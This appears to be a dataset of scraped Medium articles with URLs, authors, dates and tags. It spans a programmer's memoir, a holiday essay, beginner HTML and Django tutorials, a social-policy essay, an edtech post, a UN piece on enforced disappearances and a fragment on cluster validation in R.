During my days in Brazil I also discovered why I sometimes felt different to others. I was diagnosed with Asperger’s, which explained why I could spend so many hours/days/weeks/months on something I found interesting yet emotionally I wasn’t affected and also discovered why sometimes high-pitched sounds or strong colors made me angry. This was a great relief because it was nothing more than a condition and knowing that you have it, and knowing how to handle it, generates consistency in your life.
Somewhere in Brazil
Having finished my adventure in Brazil and got my master’s degree, there were very few opportunities and interesting jobs. It was clear that if the opportunities were not there, I had to create my own. I was not sure if what I wanted to do was to pursue an academic career and then go on to a doctorate as I was already in my twenties and desperate to embrace real life and the world of work. Realizing that my top performance levels would not be the same in my thirties, is why I decided to enter the world of entrepreneurship. At the beginning, I was not sure what I was going to develop but what I was sure was that it would have to be something great!
I started working on mobile technology and digital comic books with some friends. After a year of brainstorming, we finally released the first Peruvian interactive digital comic for iPads, “Ayar, the legend of the Inkas”. This was one of the first innovation projects for iOS developed in Peru and It was presented at TEC (www.tec.com.pe) on national television and also at the ComicCon in San Diego (2012). It was one of the most rewarding yet difficult experiences I went through because being an entrepreneur is something ridiculously hard. In the beginning, it is great but after a while, you realize that it consumes more energy and time than anything else to keep the product afloat. Sometimes, It just felt unsatisfying because many times I had to do other things that were not necessarily programming, and it just stopped being fun.
On national television presenting “Ayar, the legend of the Inkas”
After that and having taken a vacation for a while, I took an offer to teach some courses as a professor in the UCSP University. At first, I was worried because even though I was quite good at computer science I was not a people person. However, I was able to change that by pushing myself on purpose in order to learn how to handle that. At the end, what I learnt was really important to me. I learnt that I like to teach, I like to share my enthusiasm about computer science, and I discovered that one of the best ways to learn is by teaching what you like. I left UCSP with new confidence and self-belief but knew that this was only the beginning of my journey.
My first students and new Masters in CS at UNSA University
That experience at university was interesting but after a while, I felt that I had to do something else. Therefore, I decided that if I was going to return to the academic world, I would do it well and in my own way focusing on polishing my technical and leadership skills. Having entered the PhD program at UNSA Arequipa university, I decided to replicate the Brazilian research model with research funds and constant work in search of excellence to generate publishable and applicable work. This took time, but it was an experience that had to happen in order to answer what would have happened if? In the end, you discover that no matter how much effort you put into this system, especially if it is a public university, and it does not have sufficient funds to grow, it is like rowing against a current. So, after finishing my PhD I decided it was time to apply what I had learned during my post-graduate studies in the high-tech industry.
However, being an academic with a Ph.D. can also be difficult because the vast majority of what they expect is a job as a full-time professor or being a researcher at some university or institution. This is something I did not want to do, I had already gone through the experience of this, but I felt that many of the things that were done had no practical application and more importantly, little social impact.
In my quest to return to the software industry world in 2017 I came across Laboratoria.la, where I enjoyed being part of this non-profit organization as a mentor, teacher in the Bootcamp program and as a software engineer. I wish I would have had this experience sooner because I was missing my soft skills, which for me are the hardest to develop. By helping many talented women in their tech career, I can easily say It was one of the most enjoyable experiences of my life.
Keep Calm and Code ON, Laboratoria.la
After that in 2018, I started working as a C++ developer at BlazingDB. This company was already on the map because they did basically what I specialized in my master’s degree in Brazil. It was difficult at the beginning because it was my first experience as a Software Engineer in a company of such high specialization, but I got used to it and was able to perform normally and in many parts with excellence.
Working for BlazingDB was awesome. This was the first time that I faced a full-time remote job for an international company, also, I worked around high-tech open-source projects. In addition, this was the first time that I needed to work and report directly to the CTO in English. At BlazingDB, I focused my work on system programming for the creation of next-generation GPU Analytics Tools, where I was part of the development team of BlazingSQL query engine built on RAPIDS open-source software. Moreover, I was able to contribute with the RAPIDS/CUDF open-source project with the implementation of CUDA kernel primitives for “sort-based group by” and other primitives in CUDF.
With some friends at the Empire States in New York
At Google In New York
In 2019 I was contacted by important companies such as Google, Facebook, and Audi to work as a Software Engineer in Europe. Although I felt very happy because it was something I was looking to do someday, the experience came as a bit of a shock to me. These companies ask for the best of the best, and the way they do that is by testing your expertise in data structure and especially algorithms. I always considered myself particularly good at data structures, but algorithms were not my strong point. It was clear because many times I passed the tests, but my algorithm cost was not sufficiently good. The fact that I could not pass the first rounds of technical interviews gave me the impetus to specialize in both algorithms and improve on my English level.
Interviewing for a tech job is intimidating with whiteboard challenges, remote coding challenges and even full days of onsite interviews. One important thing you have to prepare for is to study up on the most important Computer Science (CS) fundamentals, so what I recommend is to narrow your focus in two main areas: data structures and algorithms. This type of training is one of the best ways to improve your professional career, as It not only prepares you for better job opportunities but also It will be very valuable in your daily programming tasks by training your mind to face complex problems.
So, after my experience with tech interviews in big companies, I decided to focus my study on algorithms. In mid-2019, I went on a two-month trip around New York to learn more about these types of interviews and to polish my English. I went to Fullstack and Gracehooper Bootcamp academies, where I observed that the students are always testing themselves by mocking tech interviews with their teachers. Also, I observed that after classes were finished most of them continued practicing with whiteboard interviews. I realized that the level of competition can be brutal and if you want to be that good you have to practice this way.
Working on BlazingSQL with the RAPIDS.AI ecosystem
Working with Open Source RAPIDS/CUDF on a GPU Workstation
Following my experience in New York. I decided to take on the most technically challenging projects at BlazingDB. In addition, I started teaching courses like Design and Analysis of Algorithms and Competitive Programming at UTEC University. At this point in my life, I knew that the best way to learn something was to teach and apply what you have learned in the process. After some months I realized that I started to like the world of algorithms more than the world of data structures. I am honest when I say that it can be tedious and even boring, solving problems in a leetcode/hackerank type platform. However, what I discovered is that if you share what you learned and enjoy the process it can become rewarding and enjoyable at the same time. That is why, in addition to teaching at university, I decided to start sharing what I learned in my preparation process and this time replicating something that I really enjoyed in New York, my participation in the HackerHours meetups. The format is super simple: you come with your laptop, sit and hang out and code, and flag down one of the organizers if you have a question. In addition, I took the challenge of teaching at talently.tech, where I helped Latin software engineers master key computer science fundamentals, such as algorithms and data structures, in order to improve their performance in tech interviews. It was an exciting time teaching and sharing my enthusiasm for computer science.
Quansight supporting open source projects including PyTorch
Now I am working for QuansightAI. I am starting again, and It is an amazing challenge. I am working with modern numerical computing and deep learning technology developing new features, performance enhancements and helping maintain code with millions of users at the PyTorch project. I have explored many paths to get where I am today, and I know that many paths are still ahead of me. Where I will be in the future, I do not know but I’ve enjoyed the journey getting here.
>> To be continued… | https://medium.com/latinxinai/my-adventures-into-computer-science-813be71a1b3b | ['Alexander Ocsa'] | 2020-06-24 15:23:05.170000+00:00 | ['Biography', 'Algorithms', 'Coding Interviews', 'Software Engineering', 'Computer Science'] |
No Early Christmas Decorations Here | On November 7th, our neighbors put up outside Christmas decorations. So far, there is a giant lit-up Snoopy from The Peanuts and some lights on their tree and bushes.
The weather in Chicagoland this past weekend was actually gorgeous — 70 degrees and sunny. It was definitely an opportune time for such a task.
But my husband commented to me a few days later, “What the actual heck? Why do they have their Christmas decorations up so early?” And I responded, “It’s 2020. People need to do whatever makes them happy at this point.”
Our Halloween looked very different this year. I have many indoor decorations that rotate through the seasons, including some specifically for Halloween. But as a household, we have never ventured much into outside decorating. Mostly because it seems like a lot of work.
But every year when we go trick-or-treating, my kids beg for us to up our game when they see other houses with giant dangling skeletons, lit up pumpkins, and doors that look like monster faces. Every year I sidestep and say, “Well, it’s too late this year…. maybe next year.”
Turns out, “next year” became 2020 in our house.
We decided pretty early in the season that we would not be trick-or-treating. With coronavirus cases in our area, we didn’t feel comfortable having our kids go up to houses. With the chance that the person opening the door would not wear a mask (even though we would be masked), it seemed too risky. We explained this to our kids, and they were disappointed.
To help get over the disappointment, we tried to find other ways to celebrate. I got some of those foam graves for the front yard, as well as plastic skeletons, to “come out of the ground” and spiderwebs to cover our bushes.
We came up with an indoor plan for trick-or-treating. Each person got a budget of $25 to decorate one room in the house and buy candy. We then “trick-or-treated” each other’s rooms. I took videos of the completed rooms and posted them on Facebook, inviting friends to vote for their favorite. The kids had a blast and still got a variety of candy.
The weekend after, the Halloween decorations came down. But the Christmas decorations are not going up.
My supply of indoor Christmas decorations is massive. I have totes and totes of decorations. I grew up in a 100-year-old farmhouse, and my mom used to put up so many decorations that the house looked like pages out of the Christmas Pottery Barn catalog.
With the house always so beautiful, it felt like I was surrounded by the season. This carried into adulthood, and I even bought Christmas decorations for my college apartment when I likely should have been buying things like food. My collection grows every year.
At the same time, I am usually sick of the decorations after a few weeks and just want my house back.
We put the decorations up the day after Thanksgiving, a tradition in our house. And they come down on New Year’s Day.
By that point, I start to feel a bit stifled and long to return to the “normalcy” in our house. I’m tired of Christmas music. I’m definitely sick of our Elf on the Shelf.
And in past years we are so busy at Christmas. While this year will be different, the decorations are usually a reminder that Christmas is a nonstop parade of gatherings, special events, and holiday treats. By January 1st, I’m exhausted and ready to say goodbye until the following year.
So while we made adjustments for Halloween and ramped up our efforts, I think Christmas this year will be taking a step back. Fewer activities. Definitely more time at home.
We won’t be gathering with family or friends outside of our household due to the risks of COVID-19. The cold weather of the Midwest is going to force us inside.
Knowing that we will be at home *all the time* is all the more reason to keep our Christmas decorating to the schedule we’ve had for more than a decade. Otherwise, I might be ready to burn everything by January. | https://medium.com/@annabyang/no-early-christmas-decorations-here-ffed92f96f33 | ['Anna Burgess Yang'] | 2020-11-11 14:20:23.375000+00:00 | ['Halloween', 'Covid 19', 'Christmas', 'Holiday Gathering', 'Christmas Decorating'] |
Lesson 2: Attributes and Forms | Last lesson we covered the basic HTML structure and learned some basic tags and elements. If you missed the last lesson, you can find it here. For this lesson we will cover attributes and forms. In the modern world there is a lot of JavaScript and CSS associated with forms, but we will stick to the basic pure HTML form to give a solid foundation to build with.
Attributes
An attribute is used on an element/tag to enhance its functionality or style past what comes natively in HTML. Last lesson we left off with this file:
index.html
<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h1>Hello World!</h1>
<p>My Name is Fred</p>
</body>
</html>
As you probably noticed, there is nothing really special about the page, everything looks bland. Adding some attributes will help us solve this:
<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h1 style="font-weight: bold; color: blue">Hello World!</h1>
<p>My Name is Fred</p>
</body>
</html>
Your top level header now is blue and bold. Attributes are added to tags like so: attribute-name="..." In the above example the attribute name is style, inline styles are usually frowned upon because they are hard to maintain. Imagine having 10 web pages which are expected to have the same branding. If each of them have inline styles like this, you would have to update 10 HTML files to make a simple change to the top level header. To solve this we create a stylesheet:
styles.css
.page-title {
font-weight: bold;
color: blue;
}
index.html
<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
<link rel="stylesheet" type="text/css" href="/styles.css"/> </head>
<body>
<h1 class="page-title">Hello World!</h1>
<p>My Name is Fred</p>
</body>
</html>
Confused? Don’t worry, we’ll go over it. We moved everything that was in the style attribute into another file called style.css. .page-title is what is called a selector, it is a reference to the html element we want styled. you will notice that in the HTML file we removed the style attribute and replaced it with a class attribute. The class attribute uses the same name as in the css file. In the css file you will notice that .page-title includes a . This means that what we are referencing is an element with a class of page-title in the html. There are other types of selectors that we will cover later on, but for right now a class selector will suffice.
You will also notice that we added a new tag in the head of the HTML file: <link rel="stylesheet" type="text/css" href="/style.css"/> This is where the css file gets included on the webpage. In the <link/> tag we have three attributes: rel tells the link to expect a stylesheet, type tells it that it should be a text/css file, and href tells it where the file is located. There is not content for the tag so it is self-closing.
There we have it, a round about way to explain attributes. Other attributes that are common include: id="" , onclick="" , data-*="” We may talk about each of those later on.
Basic Forms
The web is a communication mechanism, communication by definition is a combination of listening and speaking. As such there is usually a need to provide a way for users to communicate with the business, even if it is only through a feedback page. We do this with forms:
<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
<link rel="stylesheet" type="text/css" href="/styles.css"/>
</head>
<body>
<h1 class="page-title">Hello World!</h1>
<p>My Name is Fred</p>
<form action="submit.html">
<div class="form-field">
<label for="name">What is your name?</label>
<input type="text" id="name" placeholder="Name"/>
</div>
<div class="form-field">
<label for="email">What is your email?</label>
<input type="email" id="email" placeholder="Email" required/>
</div>
<input type="submit" value="Submit" required/>
</form>
</body>
</html>
As you can see we added a <form> tag after the previously added <p> tag. The <form> tag contains an action. This is the url that the form should submit to. This is the native way to submit a form, a form can also be submitted with JavaScript using an AJAX request. Inside the form you will find a couple groupings that use <div> tags as their containers. This is a personal preference and it is not required to group fields at all. I prefer to group them because it adds readability. Inside the <div> tags there are two elements: <label> and <input> It is important, for accessibility reasons, for every form field to have a label. The <label> tag should also have a “for” attribute for accessibility. This will put keyboard focus on the field when the label is clicked. The value of the “for” attribute is the “id” attribute of the field it references.
<input> elements are the main form field elements. other form fields include select, and textarea. <input> elements have a “type” attribute that tells the browser what an input can be. You will see that we have used “text,” which is the default if no type is given, and “email.” A full list of input types can be found here. It is important to use the appropriate input type. This will, for example, let your mobile browser know what keyboard to show for the specific input type. There are other accessibility reasons to use the right input type as well.
The last tag you will see is another <input> tag. This input is marked as type="submit" It creates a button that will submit the form to the url specified in the <form> tag. The value attribute specifies the text that will appear in the button.
On each of the fields you will also find a “required” attribute. This tells the browser that it should validate the form before submitting it. It will also validate based on the “type” attribute of the input tag. If you try to enter an invalid email address in the form you will get a message telling you that there is something wrong.
Conclusion
That is attributes and forms in a nutshell. I have only scratched the surface of these subjects. Please refer to MDN for more information. Up next we will cover syntax and semantics, that may sound boring but it is an important topic to cover.
Next Lesson | https://medium.com/web-development-for-beginners/web-development-for-beginners-5193d77d8fd2 | ['Kerry Powell'] | 2017-05-03 17:00:59.779000+00:00 | ['HTML', 'Beginner', 'Web Development'] |
Feeding beasts and boiling eggs | Another week on the Elephants Trail, with stops on route via Housing First, GM Systems Changers and Our Agency! Questioning when people in power are going to get real about inequalities and the only things which are going to make a blind bit of difference to whether people are poor or not! When are people going to understand that people being in dire poverty, but just about surviving and still managing to volunteer, isn’t OK? It’s exploitative and wrong, all whilst we allow beasts such as Serco to siphon off so much tax-payers money. All whilst the huge universities, media outlets and think tanks swallow the vast majority of money available for the production of knowledge, art and media.
Grass-roots groups living hand to mouth and propping up failing Health and Social Care and welfare systems? Check!
The people people doing so much to help their communities through this national crisis still being expected to feed their families on the ‘appreciation’ of those who control budgets? Check!
Community activists, collaborators and organisers burning out? Check!
A lack of funding for communities to come together to generate their own knowledge, their own art and media and their own solutions to social issues? Check!
Evidence of how much we are still feeding the beasts which perpetuate inequality? Check!
The hope which comes from working in the parts of the system which value lived experience in financial terms rather than mere ‘appreciation’? Check! The only thing which keeps me going in a system which, on the whole, values all the wrong things! It’s about the only thing which stops me from exploding with frustration!
Feeding beasts, why economies of scale aren’t that economical.
The current ideology around commissioning is very skewed. Most public money is commissioned and contract-managed in a way which strangles creativity, innovation, personalisation and coproduction. Do you remember us being promised these things through the process of privatising probation services? The work which was supposed to ‘Transform Rehabilitation’? When all the money did was feed huge corporate beasts and their excessive management costs and shareholder dividends. The beast then concentrates on expansion/world domination and fails dramatically to truly be ‘in the work’ alongside the communities they are supposed to serve. The narrative is that they are cheaper because they can deliver services on a huge scale, the reality is that they just fail to deliver services on a huge scale.
Those of you who know me will understand that my politics can be a bit ideological. I firmly believe that public services which require compassion, understanding and personalisation are rarely delivered well by private companies. But I don’t shy away from the fact that there are public sector beasts. Trusts and national charities which are designed solely by people’s whose belief is that top-down standardisation works. Their lens is informed only by what makes their jobs neat and easy. It leads to staff members making assumptions that it’s ok to teach grannies how to suck eggs, and a 22 year old, struggling with addiction and leaving home for the first time, how to boil them.
At 22 years old I was managing my addiction pretty well, I was on a small dose of Buprenorphine (an opiate substitute) and I wasn’t using anything illicit. I’d decided to try moving away in the mistaken belief that it would help me avoid temptation. The process of getting my prescription transferred was ridiculously complicated, I was given vague instructions about what I needed to do and I soon fell of my script. On the plus side I was given a book entitled ‘how to boil an egg’ which was, of course, my ticket to independent living. I didn’t need a smooth transition to services in Leeds. Clearly I also didn’t need linking to any wraparound support or networks of peer support either in Tameside (who could have helped me explore the realities of what ‘running away’ might have meant) or Leeds (who could have helped me settle in the area).
Huge public services are designed by people who don’t understand the communities they serve and these are the unintended consequences. Four months later and I was back at my mums, in thousands of pounds of debt and injecting a gram of heroin a day again.
What I actually needed was a combination of:
Specialist services who understood what transitions are like for people like me, who involve them in the co-design of services and Properly nurtured and funded grass roots organisations who can have an understanding of me through their own lived experience.
What we are in danger of now is thinking that the latter is always ‘free’ (in terms of spend from the public purse) and will emerge solely from the good will of people in poverty who want to stop others from going through what they went through. In addition, because the ‘beasts’, in the form of many organisations with large public sector contracts, are so wrapped up in keeping themselves fed through:
Long and draining tendering processes
2. Winning enough tenders to maintain their bid-writing and back office teams
3. Responding to the over the top contract monitoring requirements, they often just want to transfer all the pressures of actually working with people on to the latter.
Cue the knowledge economy and their ability to convince budget holders they have a strategic fix to these problems. One person in the knowledge economy, who is being paid extremely handsomely to sell himself as the solution to our failing systems, told me that charities being over-burdened by the process of statutory services transferring this responsibility for service delivery over to them was, and I quote, ‘a good problem for them to have’. I’m assuming he’s not spent as much time as I have with burned out leaders of charities and community groups who are struggling to stay afloat financially (one person I knew was, at the time of that ridiculous comment from the false guru, working five days a week to meet the demand and only able to take a wage for two).
I can assure you that working way more hours than you are paid for because you can’t bear to see people left with nothing isn’t a nice problem to have. I do it myself every single week, but at least I am paid for more than two days of that time.
There are some parts of the system, which I’m fortunate enough to be working in, that are making concerted efforts to:
Do meaningful co-design and co-production
Here I will point to Housing First and the wider work going on through GMCA, The GM HAN (Homelessness Action Network) and the people coming together to form learning partnerships in the local authourities. This week as myself and Emily presented at the Housing First conference around involving people with lived experience in recruitment of staff, I felt privileged that GM was so willing and able to invest the financial and time commitment to do this so well. We’ve also been exploring how other areas of the country have developed Asset Based Community Development funds, with the aim to ensure those burned out leaders of small charities have enough opportunities to earn a fair wage for all they do for their communities.
I’m also really looking forward to GM HAN’s Legislative Theatre on Funding and Commissioning this coming week, where I have no doubt that new insight around these issues will emerge, alongside a strengthened commitment to working together to resolve them.
Connecting policy-makers to the stories behind the statistics
On Friday morning the Elephants Trail were in the Bury North hub discussing how to get the voice of lived experience to play a much greater part in the scrutiny and accountability of mental health services. We are preparing some questions for the upcoming scrutiny panel. One of which will be about the financial commitment to developing the community assets they are socially prescribing to, and making sure this is done in an equitable and ethical way, rather than simply looking to transfer responsibility.
In the afternoon we met with John Domokos from The Guardian to talk about the next steps in our project to involve communities in the production of multi-media content, and planning how we are going to support people with lived experience to get their stories across in a way which will influence policymakers and budget holders, whilst they maintain choice and control over how their story is edited and portrayed. The videos we produce will be a great complement to the podcasts Lex has done this week and the blogs, poetry and visuals Jules, Karl and Selva respectively have produced for the Lankelly Chase newsletter.
This morning myself, Lex and Karen were in a workshop with the awesome Sophie Yates Lu and learning a lot about the approach she uses for ethical and equitable lived experience storytelling. Investing both time and money into working alongside people as they tell their story in a way which makes a ‘call to action’ based on what the person telling their story wants to change. This gave me so much inspiration for how the Legislative Theatre tools we’ve learned alongside Katy Rubin, the journalism we’re learning alongside John Domokos and the creative tools we’ve been learning alongside Paolo from Fero studio and the podcasting Alexa has taught herself can be used to help others develop their authentic voice in an equitable and ethical way.
There will also be work undertaken through Lankelly Chase’s GM System Changers spaces fund to connect policymakers to people in communities who are creating spaces for people. In these spaces people come together around a shared identity, interest or experience and produce learning about the way in which systems in Greater Manchester need to adapt and change.
People being both paid and ‘followed’ as they find out what matters most to them
We want people who are living with disadvantage are going to be able to generate their own art, media, knowledge, enterprises and networks of social support and infrastructure. We want all the money which is spent on supposedly trying to ‘fix’ them (usually designed through the lens of what a rich white man with huge blind-spots assumes is the fix) instead benefits them and stays within their communities. The huge challenge in all this is people’s economic realities which make it so hard to prioritise the amount of unpaid labour that usually goes alongside learning and developing the type of skills the system values the most financially.
I have, somewhat, been able to go through this development process myself, but only with some financial support from family members, and not many have this privilege. These are the ideas we are starting to unpick in the Our Agency work, currently trying to design a mechanism through which we can follow people as they ‘try new ideas on for size’, working to unblock the things which would have traditionally stopped them from being able to try out the activities often reserved for more privileged people. We won’t be looking to lead people down a pre-designed path, instead responding with enthusiasm and resources when they tell us what matters to them. | https://medium.com/@matthewkidd-1198/feeding-beasts-and-boiling-eggs-87095d4f0c70 | ['Matthew Kidd'] | 2020-12-05 16:51:05.346000+00:00 | ['Community Engagement', 'Community Development', 'Philanthropy', 'Asset Based Community Dev'] |
Working with Paginated REST API: Flutter and Django. | Introduction:
If you are a Flutter developer-facing some troubles with integrating a Paginated REST API or a Django developer confused and want to integrate Pagination in your REST API, then this article is just for you. In this blog, we’ll
Create a Paginated REST API using the Django Rest Framework.
Load the REST API data with a simple Frontend UI using Flutter Framework.
So let’s get started.
Why use a Paginated API?
In this digital world, the usage of APIs has never been so crucial than ever before. With loads and loads of data being transferred through APIs, we definitely need a much more efficient way when dealing with them especially when they are carrying large amounts of data.
API pagination is just the right method for you.
Whatis.techtarget.com defines ‘Pagination’ as the process of separating print or digital content into discrete pages.
This is exactly what we do with API pagination. We divide the contents of API into discrete pages.
Setting up the project
I am skipping initial setup of installing Python3 and Django framework. Let’s just focus on creating the project. You can find overall setup instructions (here)
django-admin startproject Api
python manage.py startapp paginatedApi
But before we proceed to make changes in our app, let’s go to the project settings.py and urls.py.
Django provides a few classes that help you manage paginated data — that is, data that’s split across several pages, with “Previous/Next” links. — Django documentation
In this project, I am using Limit Offset Pagination class and I have defined it globally as shown in the above code.
Note that you need to set both the pagination class, and the page size that should be used. Both DEFAULT_PAGINATION_CLASS and PAGE_SIZE are None by default.
Once we’re done with this easy stuff let’s dive into the main code and create our models.py file:
Before writing our view we first need to define our serializers.py. We add serializers when dealing with REST framework because it allows complex data such as querysets and model instances to be converted to native Python datatypes that can then be easily rendered into JSON , XML or other content types.
Now the main part comes, ‘views.py’.
For the views, I am using Django’s Generics views.
Django’s generic views were developed as a shortcut for common usage patterns. They take certain common idioms and patterns found in view development and abstract them so that you can quickly write common views of data without having to repeat yourself.
Boom!😎 We’re done. Yes, we have created a Paginated REST API just like that.
(Don’t forget to run migrations y’all). | https://medium.com/@chetanverma1/working-with-paginated-rest-api-flutter-and-django-75c2be1c55d1 | ['Chetan Verma'] | 2020-12-27 14:10:53.669000+00:00 | ['Rest Api', 'Flutter', 'Django Rest Framework'] |
Challenges for Educators in 2021. There are always challenges, but that’s… | Challenges for Educators in 2021
Photo by Ketut Subiyanto from Pexels
Technology is making it easier for students to learn.
Edtech will be the most widely used in class.
Online classes will be more common, and the students will be able to learn at a pace that works for them.
There are always challenges, but that’s what makes what we do so rewarding!
The Biggest Challenges
I think one of the biggest challenges is making sure that students are getting everything they need out of an experience so they can succeed later down the road when they’re going into college or careers or whatever they decide to do after high school. Another challenge is making sure all students have access to opportunities, especially those who come from underprivileged backgrounds and might not otherwise have access to these opportunities. That’s why giving back and making sure all kids get a chance at success is important to me because it has changed my life for the better.
My Vision for the Future
I want every student to have the same opportunity that I had and to be able to go to a great school that gives them not only a great education but also has their best interest at heart. It’s important that we are all striving for the same goal: for students to be successful in life. I want every child to have access to all of the opportunities that they need to succeed in life.
My Advice to Educators?
Don’t ever stop learning. There is always something new going on in education, and there are always new ways to use technology to make learning better and more effective. Learning how to use technology well is important because it will not only help you teach but also help you connect with students in a different way so they’re more engaged and motivated.
About the Author
I am an educator have over 3 years of experience in product management, technology leadership, startups, angel investing and Edtech. I’m the Founder an EdTech startup Cudy Technologies (www.cudy.co) to help teachers teach better and students learn better using videos and interactive activities. If you are a teacher or student, signup for free at https://cudy.co/sg/register to start teaching and learning better today!
You can connect with me on Linkedin (https://www.linkedin.com/in/alexanderlhk) and let me know that you are a reader of my Medium posts in your invitation message. | https://medium.com/@alexanderlhk/challenges-that-face-educators-in-2021-9cde4c98f7ef | ['Alexander Lim'] | 2020-12-22 23:24:35.734000+00:00 | ['Edtech News', '2021 Trends', 'Education Technology', 'Education', 'Edtech'] |
Bringing justice to the disappeared | In 2005, Isatou Jammeh’s father and aunt disappeared while at work on the family farm in Gambia. She was 14 years old.
In the subsequent decade and half, she and her family spent a great deal of time trying to find out who disappeared them, why, and to gain some measure of justice. During all this time, they did not get any replies from the authorities. She found out the who in 2013, when, during testimony before the truth and reconciliation commission, men who were members of former Gambian President Yahya Jammeh hit squad confessed to murdering them and others under orders from the then president. However, Isatou Jammeh and her family still do not know where the bodies of her father and aunt are.
“My story is one of many others. Many who do not know the fate of their loved ones and who, like us, live in continuous trauma,” Jammeh told the Committee on Enforced Disappearances (CED) during its opening session in September. “I want the Committee to help with advice and support to ensure that those responsible are brought to justice. I am pleading with the Committee to help and support the victims of enforced disappearances. I want the Committee to guide my government to take action.”
This 23 December marks the tenth anniversary of the entry into force of the International Convention for the Protection of All Persons from Enforced Disappearance. For nearly a decade, the Convention and the CED have been a place for States to seek support to fight against enforced disappearances, and for people to seek justice for disappeared loved-ones at the international level.
“Being a member of the Committee on Enforced Disappearances (CED) allows me to reaffirm my commitment to supporting victims of enforced disappearances,” said committee member Carmen Rosa Villa.
The case for ratification
Yet, despite its usefulness as a binding means to prevent and help prosecute disappearances, the Convention has only been ratified by 63 out of the 193 member States of the United Nations.
Reasons for the low number of countries ratifying the Convention vary. Villa said the Convention’s very youth could be one factor. It was the last human rights mechanism to come into force and States have a tendency to take time analyzing new rules, she said. Another limitation has been that some States, where enforced disappearances occur, may fear to be criticised.
“With this logic, no progress is possible. It is important that all States accept to take action to stop and prevent this crime,” Villa said.
Some of this hesitancy is down to States not making disappearances a priority, said Olivier de Frouville, a member of the CED. This has either been because they consider that enforced disappearances are not part of their national history, or no longer a public issue. This is a mistake, he said.
“Human rights bodies are very often the early warning mechanisms of today that will lead to tomorrow’s prosecutions,” de Frouville said. “(The Convention) includes provision for legal cooperation of States in order to help victims and track perpetrators worldwide, so as to put an end to impunity.”
The CED has teamed up with the UN Human Rights Office on a campaign to encourage more countries to adopt the Convention. The campaign emphasizes that the issue of disappearances is not an artefact from the past, but continues to happen today, and adopting the Convention shows support to the countless thousands of victims of enforced disappearances across the globe.
“Enforced disappearances are unanimously recognized as one of the most heinous existing crimes,” said CED Chair Mohammed Ayat. “All Member States should ratify the Convention and recognize the different competencies of the Committee as an unequivocal demonstration of their commitment to fight against enforced disappearances.”
De Frouville said adoption of the Convention also helps States join a community and network committed to eliminating the practice of enforced disappearances. Whether a State has experienced enforced disappearances now or in its distance or recent past, the Convention, through the Committee can provide support and assistance.
“ And States that are lucky enough to not have had this experience need to ratify so as to bring their assistance to the victims in their efforts to search for their loved ones and participate in the global effort to fight impunity of perpetrators worldwide,” he said. “Let’s join!”
You can learn more about the push for ratification and how to “Stand up for the disappeared” on our special web page. | https://medium.com/@unhumanrights/bringing-justice-to-the-disappeared-5e4e8c75e149 | ['Un Human Rights'] | 2020-12-23 16:42:27.686000+00:00 | ['UN', 'Missing', 'Disappearances', 'Human Rights'] |
10 Tips for Choosing the Optimal Number of Clusters | This shows that we can an indication of the correct clustering resolution by examining the edges and we can overly information to assess the quality of the clustering.
Choosing the appropriate algorithm
What about choice of appropriate clustering algorithm? The cValid package can be used to simultaneously compare multiple clustering algorithms, to identify the best clustering approach and the optimal number of clusters. We will compare k-means, hierarchical and PAM clustering.
intern <- clValid(mammals_scaled, nClust = 2:24,
clMethods = c("hierarchical","kmeans","pam"), validation = "internal") # Summary
summary(intern) %>% kable() %>% kable_styling() Clustering Methods:
hierarchical kmeans pam
Cluster sizes:
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
Validation Measures:
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
hierarchical Connectivity 4.1829 10.5746 13.2579 20.1579 22.8508 25.8258 32.6270 35.3032 38.2905 39.2405 41.2405 45.7742 47.2742 50.6075 52.6075 55.8575 58.7242 60.7242 63.2242 65.2242 67.2242 69.2242 71.2242
Dunn 0.3595 0.3086 0.3282 0.2978 0.3430 0.3430 0.4390 0.4390 0.5804 0.5938 0.5938 0.8497 0.8497 0.5848 0.5848 0.4926 0.9138 0.9138 0.8892 0.9049 0.9335 1.0558 2.1253
Silhouette 0.5098 0.5091 0.4592 0.4077 0.4077 0.3664 0.3484 0.4060 0.3801 0.3749 0.3322 0.3646 0.3418 0.2650 0.2317 0.2166 0.2469 0.2213 0.1659 0.1207 0.1050 0.0832 0.0691
kmeans Connectivity 7.2385 10.5746 15.8159 20.1579 22.8508 25.8258 33.5198 35.3032 38.2905 39.2405 41.2405 45.7742 47.2742 51.8909 53.8909 57.1409 58.7242 60.7242 63.2242 65.2242 67.2242 69.2242 71.2242
Dunn 0.2070 0.3086 0.2884 0.2978 0.3430 0.3430 0.3861 0.4390 0.5804 0.5938 0.5938 0.8497 0.8497 0.5866 0.5866 0.5725 0.9138 0.9138 0.8892 0.9049 0.9335 1.0558 2.1253
Silhouette 0.5122 0.5091 0.4260 0.4077 0.4077 0.3664 0.3676 0.4060 0.3801 0.3749 0.3322 0.3646 0.3418 0.2811 0.2478 0.2402 0.2469 0.2213 0.1659 0.1207 0.1050 0.0832 0.0691
pam Connectivity 7.2385 14.1385 17.4746 24.0024 26.6857 32.0413 33.8913 36.0579 38.6607 40.6607 42.7869 45.7742 47.2742 51.7242 53.7242 56.9742 58.7242 60.7242 62.7242 64.7242 66.7242 69.2242 71.2242
Dunn 0.2070 0.1462 0.2180 0.2180 0.2978 0.2980 0.4390 0.4390 0.4390 0.4390 0.4390 0.8497 0.8497 0.5314 0.5314 0.4782 0.9138 0.9138 0.8333 0.8189 0.7937 1.0558 2.1253
Silhouette 0.5122 0.3716 0.4250 0.3581 0.3587 0.3318 0.3606 0.3592 0.3664 0.3237 0.3665 0.3646 0.3418 0.2830 0.2497 0.2389 0.2469 0.2213 0.1758 0.1598 0.1380 0.0832 0.0691
Optimal Scores:
Score Method Clusters
Connectivity 4.1829 hierarchical 2
Dunn 2.1253 hierarchical 24
Silhouette 0.5122 kmeans 2
Connectivity and Silhouette are both measurements of connectedness while the Dunn Index is the ratio of the smallest distance between observations not in the same cluster to the largest intra-cluster distance.
Extracting Features of Clusters
